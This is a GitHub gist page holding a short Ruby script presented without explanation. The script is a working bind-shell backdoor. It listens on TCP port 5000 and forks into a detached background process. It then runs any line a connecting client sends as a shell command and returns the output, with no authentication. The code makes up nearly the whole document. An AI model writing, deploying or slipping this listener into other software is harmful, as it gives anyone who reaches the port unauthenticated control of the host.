Created
March 17, 2015 17:39
-
-
Save karmatr0n/547762628d4e83711a22 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
server = TCPServer.new "5000" | |
job = fork do | |
loop do | |
Thread.start(server.accept) do |client| | |
client.print "-> " | |
cmd = client.gets | |
IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read } | |
client.close | |
end | |
end | |
end | |
Process.detach(job) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment